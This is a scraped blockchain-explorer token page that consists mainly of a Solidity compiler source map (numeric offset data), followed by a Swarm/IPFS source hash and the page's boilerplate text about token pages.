:-1;;;;;41813:19:0;:2;-1:-1:-1;;;;;41813:19:0;;;41759:73;:152;;;;-1:-1:-1;;;;;;41854:57:0;;41868:42;41854:57;;41759:152;41755:221;;;-1:-1:-1;;;;;41943:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;41943:21:0;41960:4;41943:21;;;41755:221;42039:13;-1:-1:-1;;;;;42031:21:0;;;;;;;42067:6;;42031:21;42067:28;;-1:-1:-1;42077:18:0;;;;;;;42067:28;42063:1026;;;-1:-1:-1;;;;;42116:30:0;;;;;;:24;:30;;;;;;:35;;;;:119;;-1:-1:-1;;;;;;42173:30:0;;;;;;:24;:30;;;;;;42219:15;;42173:42;;42207:7;42173:42;:::i;:::-;:61;;42116:119;42112:567;;;42276:21;;42257:16;:40;;;42335:21;;42316:16;:40;;;42382:15;;42369:10;:28;;;42382:15;42432:35;;;:::i;:::-;:48;;;;:::i;:::-;42416:13;:64;42063:1026;;42112:567;42540:1;42521:16;:20;;;42560:16;:20;;;42653:10;;;42615:35;;42540:1;42615:35;:::i;42063:1026::-;-1:-1:-1;;;;;42715:28:0;;;;;;:24;:28;;;;;;42711:120;;-1:-1:-1;;;;;42769:28:0;;;;;;:24;:28;;;;;42800:15;42769:46;;42711:120;42853:18;;;;;;;42848:230;;42911:2;42892:16;:21;;;42951:1;42932:16;:20;;;-1:-1:-1;42965:10:0;:14;;;-1:-1:-1;43014:35:0;;;:::i;:::-;:48;;;;:::i;:::-;42998:13;:64;42848:230;43151:4;43102:28;8861:18;;;;;;;;;;;43210;;43186:42;;;;;;;43260:35;;-1:-1:-1;43284:11:0;;;;;;;43260:35;:61;;;;-1:-1:-1;43313:8:0;;-1:-1:-1;;;43313:8:0;;;;43312:9;43260:61;:110;;;;-1:-1:-1;;;;;;43339:31:0;;;;;;:25;:31;;;;;;;;43338:32;43260:110;:153;;;;-1:-1:-1;;;;;;43388:25:0;;;;;;:19;:25;;;;;;;;43387:26;43260:153;:194;;;;-1:-1:-1;;;;;;43431:23:0;;;;;;:19;:23;;;;;;;;43430:24;43260:194;43242:328;;;43481:8;:15;;-1:-1:-1;;;;43481:15:0;-1:-1:-1;;;43481:15:0;;;43514:10;:8;:10::i;:::-;43542:8;:16;;-1:-1:-1;;;;43542:16:0;;;43242:328;43599:8;;-1:-1:-1;;;;;43709:25:0;;43583:12;43709:25;;;:19;:25;;;;;;43599:8;-1:-1:-1;;;43599:8:0;;;;;43598:9;;43709:25;;:52;;-1:-1:-1;;;;;;43738:23:0;;;;;;:19;:23;;;;;;;;43709:52;43706:99;;;-1:-1:-1;43788:5:0;43706:99;43818:12;43922:7;43919:957;;;-1:-1:-1;;;;;43973:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;44022:1;44006:13;;:17;43973:50;43969:754;;;44050:34;44080:3;44050:25;44061:13;;44050:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;44043:41;;44151:13;;44132:16;;44125:4;:23;;;;:::i;:::-;:39;;;;:::i;:::-;44103:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;44219:13:0;;44206:10;;44199:17;;:4;:17;:::i;:::-;:33;;;;:::i;:::-;44183:12;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;44299:13:0;;44280:16;;44273:23;;:4;:23;:::i;:::-;:39;;;;:::i;:::-;44251:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;43969:754:0;;-1:-1:-1;43969:754:0;;-1:-1:-1;;;;;44373:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;44423:1;44408:12;;:16;44373:51;44370:353;;;44452:33;44481:3;44452:24;44463:12;;44452:6;:10;;:24;;;;:::i;:33::-;44445:40;;44551:12;;44533:15;;44526:4;:22;;;;:::i;:::-;:37;;;;:::i;:::-;44504:18;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;44617:12:0;;44605:9;;44598:16;;:4;:16;:::i;:::-;:31;;;;:::i;:::-;44582:12;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;44695:12:0;;44677:15;;44670:22;;:4;:22;:::i;:::-;:37;;;;:::i;:::-;44648:18;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;44370:353:0;44743:8;;44740:93;;44775:42;44791:4;44805;44812;44775:15;:42::i;:::-;44850:14;44860:4;44850:14;;:::i;:::-;;;43919:957;44889:33;44905:4;44911:2;44915:6;44889:15;:33::i;:::-;39524:5406;;;;;39411:5519;;;:::o;17813:193::-;17899:7;17935:12;17927:6;;;;17919:29;;;;-1:-1:-1;;;17919:29:0;;;;;;;;:::i;:::-;-1:-1:-1;17959:9:0;17971:5;17975:1;17971;:5;:::i;:::-;17959:17;17813:193;-1:-1:-1;;;;;17813:193:0:o;38642:189::-;-1:-1:-1;;;;;38725:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;38725:39:0;;;;;;;;;;38783:40;;38725:39;;:31;38783:40;;;38642:189;;:::o;12895:575::-;-1:-1:-1;;;;;13035:20:0;;13027:70;;;;-1:-1:-1;;;13027:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13116:23:0;;13108:71;;;;-1:-1:-1;;;13108:71:0;;;;;;;:::i;:::-;13274;13296:6;13274:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13274:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;13254:17:0;;;:9;:17;;;;;;;;;;;:91;;;;13379:20;;;;;;;:32;;13404:6;13379:24;:32::i;:::-;-1:-1:-1;;;;;13356:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;13427:35;1897:25:1;;;13356:20:0;;13427:35;;;;;;1870:18:1;13427:35:0;1751:177:1;46074:1568:0;46157:4;46113:23;8861:18;;;;;;;;;;;46113:50;;46174:25;46244:12;;46223:18;;46202;;:39;;;;:::i;:::-;:54;;;;:::i;:::-;46174:82;-1:-1:-1;46267:12:0;46296:20;;;:46;;-1:-1:-1;46320:22:0;;46296:46;46293:60;;;46345:7;;;46074:1568::o;46293:60::-;46387:18;;:23;;46408:2;46387:23;:::i;:::-;46369:15;:41;46366:111;;;46442:18;;:23;;46463:2;46442:23;:::i;:::-;46424:41;;46366:111;46539:23;46624:1;46604:17;46583:18;;46565:15;:36;;;;:::i;:::-;:56;;;;:::i;:::-;:60;;;;:::i;:::-;46539:86;-1:-1:-1;46636:26:0;46665:36;:15;46539:86;46665:19;:36::i;:::-;46636:65;-1:-1:-1;46743:21:0;46778:36;46636:65;46778:16;:36::i;:::-;46829:18;46850:44;:21;46876:17;46850:25;:44::i;:::-;46829:65;;46908:23;46934:57;46973:17;46934:34;46949:18;;46934:10;:14;;:34;;;;:::i;:57::-;46908:83;;47002:17;47022:51;47055:17;47022:28;47037:12;;47022:10;:14;;:28;;;;:::i;:51::-;47002:71;-1:-1:-1;47084:23:0;47002:71;47110:28;47123:15;47110:10;:28;:::i;:::-;:40;;;;:::i;:::-;47188:1;47167:18;:22;;;47200:18;:22;;;47233:12;:16;;;47284:9;;47276:45;;47084:66;;-1:-1:-1;;;;;;47284:9:0;;47307;;47276:45;47188:1;47276:45;47307:9;47284;47276:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;47263:58:0;;-1:-1:-1;;47338:19:0;;;;;:42;;;47379:1;47361:15;:19;47338:42;47335:210;;;47396:46;47409:15;47426;47396:12;:46::i;:::-;47514:18;;47462:71;;;17331:25:1;;;17387:2;17372:18;;17365:34;;;17415:18;;;17408:34;;;;47462:71:0;;;;;;17319:2:1;47462:71:0;;;47335:210;47579:15;;47571:63;;-1:-1:-1;;;;;47579:15:0;;;;47608:21;;47571:63;;;;47608:21;47579:15;47571:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;;;46074:1568:0:o;18266:473::-;18324:7;18569:6;18565:47;;-1:-1:-1;18599:1:0;18592:8;;18565:47;18625:9;18637:5;18641:1;18637;:5;:::i;:::-;18625:17;-1:-1:-1;18670:1:0;18661:5;18665:1;18625:17;18661:5;:::i;:::-;:10;18653:56;;;;-1:-1:-1;;;18653:56:0;;17655:2:1;18653:56:0;;;17637:21:1;17694:2;17674:18;;;17667:30;17733:34;17713:18;;;17706:62;-1:-1:-1;;;17784:18:1;;;17777:31;17825:19;;18653:56:0;17453:397:1;19216:132:0;19274:7;19301:39;19305:1;19308;19301:39;;;;;;;;;;;;;;;;;:3;:39::i;17373:136::-;17431:7;17458:43;17462:1;17465;17458:43;;;;;;;;;;;;;;;;;:3;:43::i;44939:597::-;45092:16;;;45106:1;45092:16;;;;;;;;45068:21;;45092:16;;;;;;;;;;-1:-1:-1;45092:16:0;45068:40;;45137:4;45119;45124:1;45119:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;45119:23:0;;;-1:-1:-1;;;;;45119:23:0;;;;;45163:15;-1:-1:-1;;;;;45163:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;45153:4;45158:1;45153:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;45153:32:0;;;-1:-1:-1;;;;;45153:32:0;;;;;45199:62;45216:4;45231:15;45249:11;45199:8;:62::i;:::-;45301:224;;-1:-1:-1;;;45301:224:0;;-1:-1:-1;;;;;45301:15:0;:66;;;;:224;;45382:11;;45408:1;;45452:4;;45479;;45499:15;;45301:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;45545:520;45693:62;45710:4;45725:15;45743:11;45693:8;:62::i;:::-;45799:258;;-1:-1:-1;;;45799:258:0;;45871:4;45799:258;;;19569:34:1;;;19619:18;;;19612:34;;;45917:1:0;19662:18:1;;;19655:34;;;19705:18;;;19698:34;19748:19;;;19741:44;46031:15:0;19801:19:1;;;19794:35;45799:15:0;-1:-1:-1;;;;;45799:31:0;;;;45838:9;;19503:19:1;;45799:258:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;19845:279::-;19931:7;19966:12;19959:5;19951:28;;;;-1:-1:-1;;;19951:28:0;;;;;;;;:::i;:::-;-1:-1:-1;19990:9:0;20002:5;20006:1;20002;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1264:247::-;1323:6;1376:2;1364:9;1355:7;1351:23;1347:32;1344:52;;;1392:1;1389;1382:12;1344:52;1431:9;1418:23;1450:31;1475:5;1450:31;:::i;1933:180::-;1992:6;2045:2;2033:9;2024:7;2020:23;2016:32;2013:52;;;2061:1;2058;2051:12;2013:52;-1:-1:-1;2084:23:1;;1933:180;-1:-1:-1;1933:180:1:o;2118:523::-;2222:6;2230;2238;2246;2254;2262;2315:3;2303:9;2294:7;2290:23;2286:33;2283:53;;;2332:1;2329;2322:12;2283:53;-1:-1:-1;;2355:23:1;;;2425:2;2410:18;;2397:32;;-1:-1:-1;2476:2:1;2461:18;;2448:32;;2527:2;2512:18;;2499:32;;-1:-1:-1;2578:3:1;2563:19;;2550:33;;-1:-1:-1;2630:3:1;2615:19;2602:33;;-1:-1:-1;2118:523:1;-1:-1:-1;2118:523:1:o;2646:456::-;2723:6;2731;2739;2792:2;2780:9;2771:7;2767:23;2763:32;2760:52;;;2808:1;2805;2798:12;2760:52;2847:9;2834:23;2866:31;2891:5;2866:31;:::i;:::-;2916:5;-1:-1:-1;2973:2:1;2958:18;;2945:32;2986:33;2945:32;2986:33;:::i;:::-;2646:456;;3038:7;;-1:-1:-1;;;3092:2:1;3077:18;;;;3064:32;;2646:456::o;3107:160::-;3172:20;;3228:13;;3221:21;3211:32;;3201:60;;3257:1;3254;3247:12;3272:315;3337:6;3345;3398:2;3386:9;3377:7;3373:23;3369:32;3366:52;;;3414:1;3411;3404:12;3366:52;3453:9;3440:23;3472:31;3497:5;3472:31;:::i;:::-;3522:5;-1:-1:-1;3546:35:1;3577:2;3562:18;;3546:35;:::i;:::-;3536:45;;3272:315;;;;;:::o;3989:316::-;4066:6;4074;4082;4135:2;4123:9;4114:7;4110:23;4106:32;4103:52;;;4151:1;4148;4141:12;4103:52;-1:-1:-1;;4174:23:1;;;4244:2;4229:18;;4216:32;;-1:-1:-1;4295:2:1;4280:18;;;4267:32;;3989:316;-1:-1:-1;3989:316:1:o;4310:180::-;4366:6;4419:2;4407:9;4398:7;4394:23;4390:32;4387:52;;;4435:1;4432;4425:12;4387:52;4458:26;4474:9;4458:26;:::i;4495:367::-;4558:8;4568:6;4622:3;4615:4;4607:6;4603:17;4599:27;4589:55;;4640:1;4637;4630:12;4589:55;-1:-1:-1;4663:20:1;;4706:18;4695:30;;4692:50;;;4738:1;4735;4728:12;4692:50;4775:4;4767:6;4763:17;4751:29;;4835:3;4828:4;4818:6;4815:1;4811:14;4803:6;4799:27;4795:38;4792:47;4789:67;;;4852:1;4849;4842:12;4789:67;4495:367;;;;;:::o;4867:773::-;4989:6;4997;5005;5013;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5122:9;5109:23;5151:18;5192:2;5184:6;5181:14;5178:34;;;5208:1;5205;5198:12;5178:34;5247:70;5309:7;5300:6;5289:9;5285:22;5247:70;:::i;:::-;5336:8;;-1:-1:-1;5221:96:1;-1:-1:-1;5424:2:1;5409:18;;5396:32;;-1:-1:-1;5440:16:1;;;5437:36;;;5469:1;5466;5459:12;5437:36;;5508:72;5572:7;5561:8;5550:9;5546:24;5508:72;:::i;:::-;4867:773;;;;-1:-1:-1;5599:8:1;-1:-1:-1;;;;4867:773:1:o;5645:388::-;5713:6;5721;5774:2;5762:9;5753:7;5749:23;5745:32;5742:52;;;5790:1;5787;5780:12;5742:52;5829:9;5816:23;5848:31;5873:5;5848:31;:::i;:::-;5898:5;-1:-1:-1;5955:2:1;5940:18;;5927:32;5968:33;5927:32;5968:33;:::i;:::-;6020:7;6010:17;;;5645:388;;;;;:::o;6038:380::-;6117:1;6113:12;;;;6160;;;6181:61;;6235:4;6227:6;6223:17;6213:27;;6181:61;6288:2;6280:6;6277:14;6257:18;6254:38;6251:161;;;6334:10;6329:3;6325:20;6322:1;6315:31;6369:4;6366:1;6359:15;6397:4;6394:1;6387:15;6251:161;;6038:380;;;:::o;6423:356::-;6625:2;6607:21;;;6644:18;;;6637:30;6703:34;6698:2;6683:18;;6676:62;6770:2;6755:18;;6423:356::o;6784:127::-;6845:10;6840:3;6836:20;6833:1;6826:31;6876:4;6873:1;6866:15;6900:4;6897:1;6890:15;6916:168;6956:7;7022:1;7018;7014:6;7010:14;7007:1;7004:21;6999:1;6992:9;6985:17;6981:45;6978:71;;;7029:18;;:::i;:::-;-1:-1:-1;7069:9:1;;6916:168::o;7089:217::-;7129:1;7155;7145:132;;7199:10;7194:3;7190:20;7187:1;7180:31;7234:4;7231:1;7224:15;7262:4;7259:1;7252:15;7145:132;-1:-1:-1;7291:9:1;;7089:217::o;7727:128::-;7767:3;7798:1;7794:6;7791:1;7788:13;7785:39;;;7804:18;;:::i;:::-;-1:-1:-1;7840:9:1;;7727:128::o;9466:127::-;9527:10;9522:3;9518:20;9515:1;9508:31;9558:4;9555:1;9548:15;9582:4;9579:1;9572:15;9598:422;9687:1;9730:5;9687:1;9744:270;9765:7;9755:8;9752:21;9744:270;;;9824:4;9820:1;9816:6;9812:17;9806:4;9803:27;9800:53;;;9833:18;;:::i;:::-;9883:7;9873:8;9869:22;9866:55;;;9903:16;;;;9866:55;9982:22;;;;9942:15;;;;9744:270;;;9748:3;9598:422;;;;;:::o;10025:806::-;10074:5;10104:8;10094:80;;-1:-1:-1;10145:1:1;10159:5;;10094:80;10193:4;10183:76;;-1:-1:-1;10230:1:1;10244:5;;10183:76;10275:4;10293:1;10288:59;;;;10361:1;10356:130;;;;10268:218;;10288:59;10318:1;10309:10;;10332:5;;;10356:130;10393:3;10383:8;10380:17;10377:43;;;10400:18;;:::i;:::-;-1:-1:-1;;10456:1:1;10442:16;;10471:5;;10268:218;;10570:2;10560:8;10557:16;10551:3;10545:4;10542:13;10538:36;10532:2;10522:8;10519:16;10514:2;10508:4;10505:12;10501:35;10498:77;10495:159;;;-1:-1:-1;10607:19:1;;;10639:5;;10495:159;10686:34;10711:8;10705:4;10686:34;:::i;:::-;10756:6;10752:1;10748:6;10744:19;10735:7;10732:32;10729:58;;;10767:18;;:::i;:::-;10805:20;;10025:806;-1:-1:-1;;;10025:806:1:o;10836:140::-;10894:5;10923:47;10964:4;10954:8;10950:19;10944:4;10923:47;:::i;10981:135::-;11020:3;-1:-1:-1;;11041:17:1;;11038:43;;;11061:18;;:::i;:::-;-1:-1:-1;11108:1:1;11097:13;;10981:135::o;13535:401::-;13737:2;13719:21;;;13776:2;13756:18;;;13749:30;13815:34;13810:2;13795:18;;13788:62;-1:-1:-1;;;13881:2:1;13866:18;;13859:35;13926:3;13911:19;;13535:401::o;13941:399::-;14143:2;14125:21;;;14182:2;14162:18;;;14155:30;14221:34;14216:2;14201:18;;14194:62;-1:-1:-1;;;14287:2:1;14272:18;;14265:33;14330:3;14315:19;;13941:399::o;16789:125::-;16829:4;16857:1;16854;16851:8;16848:34;;;16862:18;;:::i;:::-;-1:-1:-1;16899:9:1;;16789:125::o;17987:251::-;18057:6;18110:2;18098:9;18089:7;18085:23;18081:32;18078:52;;;18126:1;18123;18116:12;18078:52;18158:9;18152:16;18177:31;18202:5;18177:31;:::i;18243:980::-;18505:4;18553:3;18542:9;18538:19;18584:6;18573:9;18566:25;18610:2;18648:6;18643:2;18632:9;18628:18;18621:34;18691:3;18686:2;18675:9;18671:18;18664:31;18715:6;18750;18744:13;18781:6;18773;18766:22;18819:3;18808:9;18804:19;18797:26;;18858:2;18850:6;18846:15;18832:29;;18879:1;18889:195;18903:6;18900:1;18897:13;18889:195;;;18968:13;;-1:-1:-1;;;;;18964:39:1;18952:52;;19059:15;;;;19024:12;;;;19000:1;18918:9;18889:195;;;-1:-1:-1;;;;;;;19140:32:1;;;;19135:2;19120:18;;19113:60;-1:-1:-1;;;19204:3:1;19189:19;19182:35;19101:3;18243:980;-1:-1:-1;;;18243:980:1:o;19840:306::-;19928:6;19936;19944;19997:2;19985:9;19976:7;19972:23;19968:32;19965:52;;;20013:1;20010;20003:12;19965:52;20042:9;20036:16;20026:26;;20092:2;20081:9;20077:18;20071:25;20061:35;;20136:2;20125:9;20121:18;20115:25;20105:35;;19840:306;;;;;:::o
Swarm Source
ipfs://17f5aadc5822ed20aff4cc93eb7854ccf5150614acfd30dbc8554e93aeb624aa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.